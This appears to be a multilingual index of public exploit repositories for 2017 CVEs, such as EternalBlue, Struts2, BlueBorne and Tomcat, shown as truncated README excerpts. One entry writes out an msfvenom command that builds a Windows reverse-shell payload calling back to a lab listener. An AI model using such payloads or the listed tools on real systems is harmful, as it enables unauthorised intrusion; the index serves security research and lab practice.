SMB-Protocol-Vulnerability_CVE-2017-0144

LAB: ATTAQUE DU SYSTÈME D'EXPLOITATION WINDOWS BASÉE SUR LA VULNÉRABILITÉ DU PROTOCOLE SMB. 1. DESCRIPTION 2. PRÉSENTATION GÉNÉRALE 3. PRÉPARATION 4. EXÉCUTION DE L’ATTAQUE 5. MOYENS DE PROTECTION 1. DESCRIPTION Dans ce laboratoire, nous utiliserons deux ordinateurs pour simuler une attaque...

Zurmo-Stable-3.1.1-XSS-By-Provensec-LLC

Zurmo-Stable-3.1.1-XSS-By-Provensec-LLC Zurmo-Stable-3.1.1 Cross Site Scripting XSS Numéro CVE attribué : CVE-2017-7188...

android712-blueborne

android712-blueborne Android Blueborne RCE CVE-2017-0781 En novembre 2017, une société nommée Armis a publié une preuve de concept PoC d'une vulnérabilité d'exécution de code à distance sous Android via Bluetooth CVE-2017-0781, connue sous le nom de BlueBorne. Bien que BlueBorne désigne un ensemb...

struts2-rce

Démonstration d'exploit pour CVE-2017-5638 Entièrement basé sur https://github.com/piesecurity/apache-struts2-CVE-2017-5638 Utilisation : Prérequis : avoir python, docker, maven et un jdk installés 1. clonez ce dépôt 2. exécutez mvn clean package à la racine du projet 3. exécutez docker build -t...

cve-2017-4971

CVE-2017-4971 Ceci fait partie de Cved : un outil pour gérer les conteneurs Docker vulnérables. Cved : https://github.com/git-rep-src/cved Source de l'image : https://github.com/cved-sources/cve-2017-4971 Auteur de l'image : https://github.com/Medicean/VulApps/tree/master/s/springwebflow/1...

wpUsersScan

wpUsersScan À propos de wpUsersScan Énumère la liste des utilisateurs des sites WordPress via l'API REST / CVE-2017-5487, WordPress 4.7.1 - Énumération des noms d'utilisateur Utilisation $ python wpUsersScan.py URL Comment installer Cloner Clonez le dépôt avec : $ git clone...

pwnfaces

😛 pwnfaces Эксплойт EL-инъекции в Primefaces 5.X 🕵️ Что такое pwnfaces? 🕵️ pwnfaces — это инструмент на Golang, созданный для эксплуатации уязвимости, известной как CVE-2017-1000486 EL-инъекция в PrimeFaces 5.X ⚡ Установка / Начало работы Краткое руководство по установке и использованию pwnfaces...

CVE-2017-7921

CVE-2017-7921 CVE-2017-7921-EXP Hikvision camera Данный инструмент предназначен в первую очередь для специалистов по безопасности, проводящих легитимные тесты на проникновение, а также для администраторов веб-сайтов, выполняющих стандартные операции. Запрещается использовать его в незаконных целя...

Telewreck

Telewreck Une extension Burp pour détecter et exploiter les versions de Telerik Web UI vulnérables à CVE-2017-9248. Cette extension est basée sur l'outil d'exploitation original écrit par Paul Taylor @bao7uo disponible sur https://github.com/bao7uo/dpcrypto. Remerciements et un grand merci à lui...

tc_hack

Cet outil utilise une vulnérabilité dans Apache Tomcat appelée CVE-2017-12617 pour obtenir un accès distant à tout serveur ayant la méthode PUT activée. Il peut être téléchargé ici vous devrez l'exécuter depuis la ligne de commande Utilisation : tchack target IP target port...

MS17-010

MS17-010 MS17-010 CVE-2017-0143 - Script Python3 python3 exploit.py target...

weblogic-XMLDecoder

Ce logiciel est uniquement destiné à l'apprentissage et à la communication, toute utilisation illégale est interdite Weblogic-XMLDecoder-GUI CVE-2017-10352 Projet expérimental basé sur une interface graphique Python, principalement destiné à l'exploitation de la vulnérabilité de désérialisation...

apache-struts-v2-CVE-2017-5638

apache-struts-v2-CVE-2017-5638 POC fonctionnel pour CVE 2017-5638 Ce dépôt contient un exemple Python fonctionnel démontrant les capacités d'exécution de code à distance RCE de la CVE 2017-5638. Également, à titre de référence, le fichier WAR Struts Showcase est inclus...

Goahead-CVE-2017-17562

Goahead-CVE-2017-17562...

cve-2017-10271-poc

CVE-2017-10271 POC Introduction Ceci est un POC de test automatique pour CVE-2017-10271. Il a été testé sur CentOS 7 et Windows 7/10. Compilation Ce projet est écrit en langage Rust. Vous devez d'abord installer l'environnement Rust depuis https://www.rust-lang.org/ puis compiler le projet avec l...

HugeDirtyCowPOC

"Huge Dirty Cow" POC POC для уязвимости Huge Dirty Cow CVE-2017-1000405. Полные подробности можно найти здесь. Перед запуском убедитесь, что transparent huge pages установлены в значение "always": echo always | sudo tee /sys/kernel/mm/transparenthugepage/enabled...

spectre-meltdown-checker

Spectre & Meltdown Checker A self-contained shell script to assess your system's resilience against the several transient execution CVEs that were published since early 2018, and give you guidance as to how to mitigate them. CVE list CVE| Name| Aliases ---|---|--- CVE-2017-5753| Bounds Check...

spectreScope

spectreScope La démonstration de l'attaque par exécution spéculative Spectre CVE-2017-5753, CVE-2017-5715. Testé sur macOS Intel - Apple MacBook Pro Retina, 15-inch, Late 2013 - macOS High Sierra 10.13.2 - 1 IntelR CoreTM i7-4750HQ CPU @ 2.00GHz - git 2.14.3 - cmake 3.10.1 - Xcode 9.2 Linux Intel...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Utilisation de msfvenom pour générer un payload : msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Spécifie le payload un shell inverse TCP pour Windows. LHOST=10.10.14.4: L'adresse...

IPFire_2.19_RCE_Authenticated

IPFire 2.19 OINKCODE RCE PoC Python-реализация PoC для аутентифицированной уязвимости внедрения команд на странице ids.cgi IPFire 2.19 через параметр OINKCODE. Только для авторизованного тестирования безопасности и учебных лабораторий. Запускайте этот PoC только против систем, которыми вы владеет...